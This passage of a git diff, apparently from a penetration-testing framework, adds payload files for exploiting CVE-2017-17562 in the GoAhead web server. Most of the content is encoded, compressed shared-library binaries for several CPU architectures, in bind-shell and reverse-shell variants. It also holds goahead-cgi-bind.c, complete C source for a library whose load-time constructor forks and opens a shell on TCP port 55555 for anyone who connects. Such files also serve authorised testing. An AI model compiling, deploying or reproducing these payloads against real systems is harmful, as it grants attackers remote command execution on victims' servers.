zn*Yl!Zw3GaQO-IMZz9bJk7b~Rl1^MC7;ZXRY;ey#ZGDLIUY~(~bJsnTO`F@-A$?Lkm5om6mW~?DW}~wt zq~+7u9JsUCi(1xn9i2*O;4TfFSjMp&NVW9Tl%C4}n}%>FR|i;~aQbeD*z1)^`y2JD zZeJGaS-D=5w${CaT>X;lb*|3O6WjMqb$eQWzR2}0+3RM#e%^Md-;@q>^-1FEQiGFW zA%2PDk2UHY!+isGPGpSTCB#qZ7?+o1ue*#(io^KP{GaFSAGg;K|bd-h!&_#uKRP}C{sls^oB|*#002(; ByjlPN literal 0 HcmV?d00001 diff --git a/data/exploits/CVE-2017-17562/goahead-cgi-bind-linux-glibc-x86.so.gz b/data/exploits/CVE-2017-17562/goahead-cgi-bind-linux-glibc-x86.so.gz new file mode 100755 index 0000000000000000000000000000000000000000..b931aa5b0b682763be7b2594bdb9b21ee8fb0f1e GIT binary patch literal 2213 zcmV;W2wL|aiwFoxYeiZD17~kxXk}q!En{bCEn;bIWG!rIZgqGqXKZO=V=Z_%HZF5- z0PR?9Y#c`!e)oK~&yBwtjP1sToYGV4Kzlj6wn-=wcAQIS<BBc+LFGrJ64)a~q)G@@W3s&O z&aAy&3_{``%AB5i=b3rtosXTFo!M`CJGTph07fXlAF=)-fM&FB-pSIN!3o9C0Clhq zmenk{?qDb+QVDwgVmaco3{#l!Dx!$z+t8F&Al5Tn0tU*rb5se-Z~=pn=ew+gUM>MJ zP!9}7{!Yw?RYDP~9=b5!+&;U&0j%wM{rXq{?D%RA$Y)<4KJf0zv(-gYuYB}Q&BEf) z-#1X+TCS&lJ3{cIwY*$4VypN4`L{nha`57lyX#NoJ}$rV>%W#;+w+1cPGt{R_(=<| zH*qKR!^AfrernMR7X5Kc{&y|>=N6u_@b6o=-{SwMB|mN9n=Sg+Ecx#uCY_8|LXAEr zrj~du{ANXdt^O>1g+}=jecUTc3|UBQ7kc}fL}>OAP|X%AV%fl5R4^c38WEhnm-tnP!dWFHDQ7jjG-nFbjt~M zD~M9aulTVA0a<1}!X)&vqw}Gy9b%Ka(fz|P0N~r8*o>m!&lu?fk z(V>$pj)03S?rjZZ*8to{wiLia7FTpLS=`Gulf}KVJ3a4EpGU`sre9wNkWF9LG;RE} zQmFo!R>V2SW78}40PO_rHrg?V!H<>FXi+qO35#mSX!OIBouAV=?J!|V%%9eIEphtG zzoGMbKH89<(m6%L4a6sOPCIFsW=MWi=adzurI{bn`F+IOi1+K9q~Wg+_vxJ83Sl4d zHl0(^@NVKBonOVjfeG!{b=~%4F8B3zt0{p-obm7_$eNl)CQQNF{jQXyUFf)_$9-g(kXar}yhiMx7 zqPD2etG;zh({kxedGcE|FzcPPflqCu2Aw(Y7|3|Pm-D`QiWWhxXEJ@Rbk;jX1D=`9 z>J7N|V=Xn-)vKPqrMIgsRh*tLjS5$sK3}x3SN)xl{Ao(`WBfv@B)<)#IprS69$8>5`U~r!PjAzOyo;n&u4#S!&fcQ-{HdBR*v@UDuglx{ zX!|y3p#Ymwa&i;y;hO?}IlRow@f8`N6)b2b`^+SelJ^G^Bh(L}uHeC1U}q)url!%V zJCB38o1Zas&4Dfu4myOoQoEgIzmuO4j-!5#1m%wH<)sf-tWoSE@a1(6ey+*2fmSz- zWEg!7)0}NDcZ}P%mKAn9U+|ngU04tkrrT%QXWQRFr*J#m4!6VY@c$X+9PFMu$`4<( z9n$Hnl;11L_z>#p}bjQNn@g_=-wU8}YT6xQNa^LA&;U90R(48{s?H zf!7dkA!ZOCApVHBfhfXGRU_^}v?8__u`+GW|LlJYj$aF62ciSfjd&E%k9ZsrM??`% zBc4JWMvU=0+>VZpFFG4~0;#x?a<;ge-JbhfQ#xyWrm@xSX?C}4Wa-W(Ph+d6)w2b_ zEr(?#srUonjwck!y*Hk62U3w(=>A9ubQY$!u{*RsF7F>?R!Op)VJRs`67dy8#Jr>w zBOQwj#T0PsH%W@R_a-o+NF(^KUo73pgnm(TOJQ*!=^vEDa45OVSW(fRO#1h;5=J~4 zOzN%i4@QDOZdpyt8D9Fp9ZU=kN^#}Cezr94iuoDB{4K=@#`_(oHr&9uL^_(sgl1#D zn!c+vaGy3lzX?N@?e$aZ_!*yHvx+C;+UA0L!!2K8T{eW=yD&yxj=|&3~=1jUuu8o=f z6){wrbjBSpWzy09M0mrt(jSGVO*-1A2vw`J?-18D(RZ{Gh9@o0gOK5tsxp6Dv-*3< zq=gh2S>I!; literal 0 HcmV?d00001 diff --git a/data/exploits/CVE-2017-17562/goahead-cgi-bind-linux-glibc-x86_64.so.gz b/data/exploits/CVE-2017-17562/goahead-cgi-bind-linux-glibc-x86_64.so.gz new file mode 100755 index 0000000000000000000000000000000000000000..6fd775b65a2c8c8fa45712f6ada835a8854e812f GIT binary patch literal 2235 zcmV;s2t@ZEiwFoxYeiZD17~kxXk}q!En{bCEn;bIWG!rIZgqGqXKZO=V=Z_%HeWV0 zE^}`H)mVLOTUQmowv)zg636K_YLbc>Ozoy_4jFBkK!oz4fS4LKI@w#Lrc9dxVlnsL zcaC%4T^{KlNQi4apZojWbMDu>@7#0mH+Bu}w%cq3lY@MoaJ13DeZco@s;W?~ht$#k zR?@m?^ z()QW~t!KLN!EJ@d8=r2tc3|Jf|Na{Skn67dh^kv z3-|Baa<*{Y{m$>Mx&Kq&9mGYJon~%J^^KX+BlOv{27ktaf7XJxS=9feh5i#3e8{4n zBNqBUwcsDK;GehPdo0>LXQ4krpHHm8=PdMREcjpZwYHgfo6W5+a^6dP690SPWql8? z|HJS7Bb;v}!wpiy!QjF1bSjwDLm537B*8=~p_5>Y3KG0y^sZo3%V-A^SzXJF-ZhX+ zr?k;fIH?(BYnKEgQz2GCD494y;hmGg5zre*hO${LOJeEFA(BgFHC;L zESH|pNk~s8NH~#-k|eWBkw`L~)rdAlyB3N>G^!HKO>|H~izKN|IHF|JN;e5=(U2aZ zJqTyB#)v3IYuPh&$IgLZhti>R;jr!eM}&WK&Q|^5y0(!y!5`#W5-z5Fg_!*TPP-51 z*=^?0e>)|9vEGo=9y5>lDTz-({m)7KeZZfV_@ls|k@zX#ixU4Z@E0ZiA>ijF{xRSe zB>vmLFG~C~z?UTcN#K_x{xtB*68}8TbF-O02fS0_&tgBD41NRbUDfYR;KhBSB=9bQ zUlMrH87~XGN8r8C|2pvb)m>EJYXrVc;KltsAn;1BC5G9nE*Cj|jbZi*%BMO0Im2w~%TICqBExLT z%cnU08N=*#mZv%X5yPzeUG>=2=h*r?M0H9p(7)rwrsJ)2TYzy~s#joWGEtyD;dlVfoUz6{gkuHU%+C zdhMjtLJd#e>{koA-{YidtNAPH%(8p(7P{PGHO6vtja3$@$si$Pb8J<`6v6%&x9>V)*sn1A*%gPH zUs7jFJ5<|w^|vd!msZvel{FZZ8TN90)4lDq9+LZ{I@4Q64QQ45D|&-^viF-5mEQY+ zzHODxJ51RPl0{~FwWx=;IBaWKLBs~AFl&E zH_NFT2DlsKJs@KsCqbS7`CX9Df_wqwd60hu`IgJv4#u5U3FA+UH!;4%coO4Bj2AIJ z#CQ`p=J2N+!*ZCW;mh#xkLCEf|kxR*_*E z3}rH*!-fUs?~7!3e?sGl2w~M4Eg6;3V-8Uw>G5$brT>@KT|Inb_+47v#}MgW1rrNH z-lyLX+N0k<*(3P@*)6w0AMDb1jk3?a+OA!&$L~D=b=xIBh4MOC+nq2PN(+ zC|lNf{}IXF=Q7KAi~BW{Dan4xWtJYvUY@@PB>U=y1ajEEcKevVF4^Ngiqf^t_-DYr z1Mrs{%<_JV^@s8#H literal 0 HcmV?d00001 diff --git a/data/exploits/CVE-2017-17562/goahead-cgi-bind.c b/data/exploits/CVE-2017-17562/goahead-cgi-bind.c new file mode 100644 index 0000000000..3531b15858 --- /dev/null +++ b/data/exploits/CVE-2017-17562/goahead-cgi-bind.c @@ -0,0 +1,95 @@ +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#ifdef OLD_LIB_SET_1 +__asm__(".symver system,system@GLIBC_2.0"); +__asm__(".symver fork,fork@GLIBC_2.0"); +#endif + +#ifdef OLD_LIB_SET_2 +__asm__(".symver system,system@GLIBC_2.2.5"); +__asm__(".symver fork,fork@GLIBC_2.2.5"); +#endif + +static void _bind_tcp_shell(void) { + + int sfd, fd, i; + struct sockaddr_in addr,saddr; + unsigned int saddr_len = sizeof(struct sockaddr_in); + + char *lport = "55555"; + char *shells[] = { + "/bin/bash", + "/usr/bin/bash", + "/bin/sh", + "/usr/bin/sh", + "/bin/ash", + "/usr/bin/ash", + "/bin/dash", + "/usr/bin/dash", + "/bin/csh", + "/usr/bin/csh", + "/bin/ksh", + "/usr/bin/ksh", + "/bin/busybox", + "/usr/bin/busybox", + NULL + }; + + sfd = socket(AF_INET, SOCK_STREAM, 0); + setsockopt(sfd, SOL_SOCKET, SO_REUSEADDR, &(int){ 1 }, sizeof(int)); + + saddr.sin_family = AF_INET; + saddr.sin_port = htons(atoi(lport)); + saddr.sin_addr.s_addr = INADDR_ANY; + bzero(&saddr.sin_zero, 8); + + if (bind(sfd, (struct sockaddr *) &saddr, saddr_len) == -1) { + exit(1); + } + + if (listen(sfd, 5) == -1) { + close(sfd); + exit(1); + } + + fd = accept(sfd, (struct sockaddr *) &addr, &saddr_len); + close(sfd); + + if (fd == -1) { + exit(1); + } + + for (i=0; i<3; i++) { + dup2(fd, i); + } + + /* Keep trying until execl() succeeds */ + for (i=0; ; i++) { + if (shells[i] == NULL) break; + execl(shells[i], "sh", NULL); + } + + /* Close the connection if we failed to find a shell */ + close(fd); +} + +static void _run_payload_(void) __attribute__((constructor)); + +static void _run_payload_(void) +{ + unsetenv("LD_PRELOAD"); + if (! fork()) { + _bind_tcp_shell(); + } +} diff --git a/data/exploits/CVE-2017-17562/goahead-cgi-reverse-linux-glibc-aarch64.so.gz b/data/exploits/CVE-2017-17562/goahead-cgi-reverse-linux-glibc-aarch64.so.gz new file mode 100755 index 0000000000000000000000000000000000000000..908b4fb5083aa58da71609cf5e11ea2152146151 GIT binary patch literal 1995 zcmV;+2Q>H}iwFoyYeiZD17~kxXk}q!En{bCEplacWpZ<6Eo^CSb$BgjY-wU+En#7D zV`w%sE^}`H?U;RR9K{vD-|imnCAQ;p8s`Hdat^3UgV@-HfKwsmY!fb2P8*C-sVcGA zyW7M^?)Jj%Ua)aRFXj)@(n>xO5s*;jMpYH3s&Lz+#3~{#6%aK@pg^pEKsvr83n6e6 zQTeJk*SEWGlG*8POp8$eVNP>z-*4WVuibgGvp?I?dzUOpz>)&bgQK-A_VgI>a`R;q zWSvll|Epl7YkLg@r#Bk>54EIGdV>=VKPkK zA)HtDby%qtzE=WdFA{zdFBUZ~q+!KY8=>B|rZB(9qS!qQD|(TU3iT!)&AEV~VB>F9dKsp#G-YrXu6+Y^Hu&vl1KI^m+m+3knq}*GThl;Gn`s-gohU%N zyMLROGV;c*v}GIl{%t*(oN4syiHzZu)h^MJgSu0Jo=HD~>i73*ePq{@(JjlcpkP{t zZJ2vuXD+`RvPL$!X9%oZa<^fFZs*dFHVs?TQ>i>8bEat|ZAcaNbbv8vBr}lA8U!$ejfbsN1?zLqWe-7IE(u;0)L_2lRF}Q&h!C+XQ}=@0#6ek6!S>~VGUVT1PjQ^zm)_v`Vve8V_!5qnIo|AB=(Nv&WD&bj`QQ{c*az zXw$y z1CC+;&b+TIJNgWkRjSn$j@|E^e%{-KW9=TFAAZff??tC?Gw}+(BOg1Ab`EpKjeMfD zsFVP6>uSJu;q>NCIFA$8kL9DS<#?qFeWI{tx~31>w_fZy(0Z}!3Cst6gSI2+*F77r zbmMi5{N{&Wbf3iw^-wv0{yRo`HpL{^==STQcm?G#r(S4_RUX9tzl}MHxm&i0g#&&b8owZ&(ff^Vb)bsyTOmqlVd@wx2eW%X|vbQ84YohF&}jzt}Is^3~h71%I}mF&SB)|BsM=2RlbJ_~pKUeU-@(x@O&ct-&ut3$*`B@Xl=t zh~E)w_g{Q|o(At+qX_%+Ok-_(QU5LVpZT-zezRZFf1KuC0r7jS|2u6+@Mq)tlhFPN z+V4*^U0L6?+Gp~4!JoY^%#i=!0{&BiKl|RXgF0ATVEnHTWB%+rSvgYMUW`AdiHYN6 d{x>b~{PBJF#dSLLzqLU7{|4^-001Bu0012ZA`$=q literal 0 HcmV?d00001 diff --git a/data/exploits/CVE-2017-17562/goahead-cgi-reverse-linux-glibc-armel.so.gz b/data/exploits/CVE-2017-17562/goahead-cgi-reverse-linux-glibc-armel.so.gz new file mode 100755 index 0000000000000000000000000000000000000000..812a50b452379f4bcfce2b4b7aa8b816e2620424 GIT binary patch literal 1965 zcmV;e2U7SSiwFoyYeiZD17~kxXk}q!En{bCEplacWpZ<6Eo^CSb$BgjY-wU+En#wP zWo#~UZvgFBe{36f6@O=5e>hD_JLE!0JrN|P%h|p( zrj9S%ovUQ3My5`Pp+?yT+QvV`MF^0nU_t{Gt*bT-!G;7a8j~mzlO1C<+mMRa6n;>~8qfQ`ugz~-g@n3*B5U- zz1*yy*_Os!w|m^*EwSDM(>}islg+0qhzmY_7mvqpe>h z@Ma($==!MztDrlsVY|8xdajUjL7zhc{r=PmJ!{(Lshs1QcIw1L-YS?WBb_&et+_?d zEEyEQ$mbqH^)qMmY4)4Q8;)Z-P%Jp6YZlJHoMoQ|$I6^GT`*iL2f2dj>P9weL&ho; z%!~`!;^HuvOJ*hynY`tgkk6$vs$;1mpqp94HL$_7pDx!m34{|@W4=V*WQGRK&cvfwG^6!Q%8mzZanv&{3% zdFDlCmwAc#Eb|KUqs*hoeYl~=h;j2Lh;dU-65|#;PTUF5iM$8>WMW)Xy~OAjBW}aJ zNQ`SqA@0Cu67gLC1H?E32Z_4?G-7=I#EEf|qKUybZGg9c##&)s2=a9~moEAabtqbNFqggm!tcR3-aWw1>1(^>Tc!(wSJT zbtb-6>qwNUQCO|DVeD49RB3@y<#*^OB~lyztk?HPxbDYPhi#MmBZ|ZF4^d7m;ux?G zZHsH=2t4%{T!~e@-5u25Hd*-GuGilp|L0InU0dDQ!h7}%Zig7&r(?*2h%LNjy&A?+ z)@xyHtsGLmc>~`%)qCqh(i3?7rKki6Tz7HwiG%Q=afP*W8=y^;Tj69?(L_C7^F$2e zgfxnA(u=XXK2%ZKCFn<-#aLtB8eXrBVk}7(u|OU#kN1=+0~qJRhaM@vBtKi>cv7=? zf514`5C;**X)oe+N$x*ruhl{d#r6DqWLyhzuYXT^F>uHo)J_=IZ=A$=d4=X!DOF=U z22ftE$v97sV(hIp$$MwSP@asEjQvJGug}WkJQve=pJD&2I9H0VukY6D9n|*6vA=TS zh0T}Hez8@8uVc(f5c`PsP;yeAnm(HR-1sCMrUII#sXo9^(Xofpxx!G|aOUr5etDZA zyG_gZmD7GDU38Yy))MTLow8GQ%1-&eE3;9N``&H?&Q`%Y>vnRUaX04^`}mxDfZj{= zGUIb@Kj)YKc&~27B+iM$B8Qwsy@P|^#pma+cVHGd@eJpdJ)B>5wg@>D5xLVP#BOfy zy?Wh>V|^W&`nZKm4dXl1+Vww-SLwc!K`yp@a5O7)zQ2y0dmV8Dfd@AD8{#H)7|+@N zLheHDKpa5qMGPSB6KOCUo0#~dGVnmUSa6F&Nlc(@OF68@Rc&yj=v5wi_|S-|#nt%7 zM7=Vs9U9R_v`@hJM=7^8jdTvAdr)jSoPySHRBD%YMS7(^X>T|t?UVM0Ky~IF*LICG zs0GV4)l-F{nl9$@*}+^EJZ+v118R1;;4Ci)c5PufW7(3}x0nHr8RGR# zC`rN=W*=JT8tWn64<39UFB&499qZg~qmj6;-A1N*l=lG1v=0bM;2RH>lvsM+HMEZi zmjdIU<@q4{9pQaPm|?%&KEFAR-^$MeLT8itGkkuHJ@ZV!kC6BI(Q}9Jz0iNgvweQ_ z{2@e}w7bN9!-(gi0*}Dj*fYU+l5b5?xru()oA~`3r{{^4uoVCRflvf{ literal 0 HcmV?d00001 diff --git a/data/exploits/CVE-2017-17562/goahead-cgi-reverse-linux-glibc-armhf.so.gz b/data/exploits/CVE-2017-17562/goahead-cgi-reverse-linux-glibc-armhf.so.gz new file mode 100755 index 0000000000000000000000000000000000000000..c881067a6ae8a6b7e028693495ff801b88e4aeca GIT binary patch literal 1901 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 Bix~g_ literal 0 HcmV?d00001 diff --git a/data/exploits/CVE-2017-17562/goahead-cgi-reverse-linux-glibc-mips64.so.gz b/data/exploits/CVE-2017-17562/goahead-cgi-reverse-linux-glibc-mips64.so.gz new file mode 100755 index 0000000000000000000000000000000000000000..35b7138ab2d15b21f0ac439ccab2fb710ef29992 GIT binary patch literal 2426 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 